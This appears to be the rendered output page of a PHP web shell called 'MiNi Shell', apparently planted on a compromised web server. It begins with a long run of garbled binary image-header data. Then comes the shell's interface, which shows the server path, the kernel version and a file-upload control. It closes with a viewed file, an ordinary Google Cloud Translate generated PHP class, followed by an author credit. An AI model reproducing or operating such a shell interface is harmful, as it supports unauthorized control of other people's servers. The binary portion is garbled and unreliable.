JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/vendor/google/cloud-translate/src/V3/

Linux 9dbcd5f6333d 5.15.0-124-generic #134-Ubuntu SMP Fri Sep 27 20:20:17 UTC 2024 x86_64
Upload File :
Current File : /home/vmanager/www/vendor/google/cloud-translate/src/V3/BatchDocumentOutputConfig.php

<?php
# Generated by the protocol buffer compiler.  DO NOT EDIT!
# source: google/cloud/translate/v3/translation_service.proto

namespace Google\Cloud\Translate\V3;

use Google\Protobuf\Internal\GPBType;
use Google\Protobuf\Internal\RepeatedField;
use Google\Protobuf\Internal\GPBUtil;

/**
 * Output configuration for BatchTranslateDocument request.
 *
 * Generated from protobuf message <code>google.cloud.translation.v3.BatchDocumentOutputConfig</code>
 */
class BatchDocumentOutputConfig extends \Google\Protobuf\Internal\Message
{
    protected $destination;

    /**
     * Constructor.
     *
     * @param array $data {
     *     Optional. Data for populating the Message object.
     *
     *     @type \Google\Cloud\Translate\V3\GcsDestination $gcs_destination
     *           Google Cloud Storage destination for output content.
     *           For every single input document (for example, gs://a/b/c.[extension]), we
     *           generate at most 2 * n output files. (n is the # of target_language_codes
     *           in the BatchTranslateDocumentRequest).
     *           While the input documents are being processed, we write/update an index
     *           file `index.csv` under `gcs_destination.output_uri_prefix` (for example,
     *           gs://translation_output/index.csv) The index file is generated/updated as
     *           new files are being translated. The format is:
     *           input_document,target_language_code,translation_output,error_output,
     *           glossary_translation_output,glossary_error_output
     *           `input_document` is one file we matched using gcs_source.input_uri.
     *           `target_language_code` is provided in the request.
     *           `translation_output` contains the translations. (details provided below)
     *           `error_output` contains the error message during processing of the file.
     *           Both translations_file and errors_file could be empty strings if we have
     *           no content to output.
     *           `glossary_translation_output` and `glossary_error_output` are the
     *           translated output/error when we apply glossaries. They could also be
     *           empty if we have no content to output.
     *           Once a row is present in index.csv, the input/output matching never
     *           changes. Callers should also expect all the content in input_file are
     *           processed and ready to be consumed (that is, no partial output file is
     *           written).
     *           Since index.csv will be keeping updated during the process, please make
     *           sure there is no custom retention policy applied on the output bucket
     *           that may avoid file updating.
     *           (https://cloud.google.com/storage/docs/bucket-lock#retention-policy)
     *           The naming format of translation output files follows (for target
     *           language code [trg]): `translation_output`:
     *           `gs://translation_output/a_b_c_[trg]_translation.[extension]`
     *           `glossary_translation_output`:
     *           `gs://translation_test/a_b_c_[trg]_glossary_translation.[extension]`. The
     *           output document will maintain the same file format as the input document.
     *           The naming format of error output files follows (for target language code
     *           [trg]): `error_output`: `gs://translation_test/a_b_c_[trg]_errors.txt`
     *           `glossary_error_output`:
     *           `gs://translation_test/a_b_c_[trg]_glossary_translation.txt`. The error
     *           output is a txt file containing error details.
     * }
     */
    public function __construct($data = NULL) {
        \GPBMetadata\Google\Cloud\Translate\V3\TranslationService::initOnce();
        parent::__construct($data);
    }

    /**
     * Google Cloud Storage destination for output content.
     * For every single input document (for example, gs://a/b/c.[extension]), we
     * generate at most 2 * n output files. (n is the # of target_language_codes
     * in the BatchTranslateDocumentRequest).
     * While the input documents are being processed, we write/update an index
     * file `index.csv` under `gcs_destination.output_uri_prefix` (for example,
     * gs://translation_output/index.csv) The index file is generated/updated as
     * new files are being translated. The format is:
     * input_document,target_language_code,translation_output,error_output,
     * glossary_translation_output,glossary_error_output
     * `input_document` is one file we matched using gcs_source.input_uri.
     * `target_language_code` is provided in the request.
     * `translation_output` contains the translations. (details provided below)
     * `error_output` contains the error message during processing of the file.
     * Both translations_file and errors_file could be empty strings if we have
     * no content to output.
     * `glossary_translation_output` and `glossary_error_output` are the
     * translated output/error when we apply glossaries. They could also be
     * empty if we have no content to output.
     * Once a row is present in index.csv, the input/output matching never
     * changes. Callers should also expect all the content in input_file are
     * processed and ready to be consumed (that is, no partial output file is
     * written).
     * Since index.csv will be keeping updated during the process, please make
     * sure there is no custom retention policy applied on the output bucket
     * that may avoid file updating.
     * (https://cloud.google.com/storage/docs/bucket-lock#retention-policy)
     * The naming format of translation output files follows (for target
     * language code [trg]): `translation_output`:
     * `gs://translation_output/a_b_c_[trg]_translation.[extension]`
     * `glossary_translation_output`:
     * `gs://translation_test/a_b_c_[trg]_glossary_translation.[extension]`. The
     * output document will maintain the same file format as the input document.
     * The naming format of error output files follows (for target language code
     * [trg]): `error_output`: `gs://translation_test/a_b_c_[trg]_errors.txt`
     * `glossary_error_output`:
     * `gs://translation_test/a_b_c_[trg]_glossary_translation.txt`. The error
     * output is a txt file containing error details.
     *
     * Generated from protobuf field <code>.google.cloud.translation.v3.GcsDestination gcs_destination = 1;</code>
     * @return \Google\Cloud\Translate\V3\GcsDestination|null
     */
    public function getGcsDestination()
    {
        return $this->readOneof(1);
    }

    public function hasGcsDestination()
    {
        return $this->hasOneof(1);
    }

    /**
     * Google Cloud Storage destination for output content.
     * For every single input document (for example, gs://a/b/c.[extension]), we
     * generate at most 2 * n output files. (n is the # of target_language_codes
     * in the BatchTranslateDocumentRequest).
     * While the input documents are being processed, we write/update an index
     * file `index.csv` under `gcs_destination.output_uri_prefix` (for example,
     * gs://translation_output/index.csv) The index file is generated/updated as
     * new files are being translated. The format is:
     * input_document,target_language_code,translation_output,error_output,
     * glossary_translation_output,glossary_error_output
     * `input_document` is one file we matched using gcs_source.input_uri.
     * `target_language_code` is provided in the request.
     * `translation_output` contains the translations. (details provided below)
     * `error_output` contains the error message during processing of the file.
     * Both translations_file and errors_file could be empty strings if we have
     * no content to output.
     * `glossary_translation_output` and `glossary_error_output` are the
     * translated output/error when we apply glossaries. They could also be
     * empty if we have no content to output.
     * Once a row is present in index.csv, the input/output matching never
     * changes. Callers should also expect all the content in input_file are
     * processed and ready to be consumed (that is, no partial output file is
     * written).
     * Since index.csv will be keeping updated during the process, please make
     * sure there is no custom retention policy applied on the output bucket
     * that may avoid file updating.
     * (https://cloud.google.com/storage/docs/bucket-lock#retention-policy)
     * The naming format of translation output files follows (for target
     * language code [trg]): `translation_output`:
     * `gs://translation_output/a_b_c_[trg]_translation.[extension]`
     * `glossary_translation_output`:
     * `gs://translation_test/a_b_c_[trg]_glossary_translation.[extension]`. The
     * output document will maintain the same file format as the input document.
     * The naming format of error output files follows (for target language code
     * [trg]): `error_output`: `gs://translation_test/a_b_c_[trg]_errors.txt`
     * `glossary_error_output`:
     * `gs://translation_test/a_b_c_[trg]_glossary_translation.txt`. The error
     * output is a txt file containing error details.
     *
     * Generated from protobuf field <code>.google.cloud.translation.v3.GcsDestination gcs_destination = 1;</code>
     * @param \Google\Cloud\Translate\V3\GcsDestination $var
     * @return $this
     */
    public function setGcsDestination($var)
    {
        GPBUtil::checkMessage($var, \Google\Cloud\Translate\V3\GcsDestination::class);
        $this->writeOneof(1, $var);

        return $this;
    }

    /**
     * @return string
     */
    public function getDestination()
    {
        return $this->whichOneof("destination");
    }

}


Creat By MiNi SheLL
Email: jattceo@gmail.com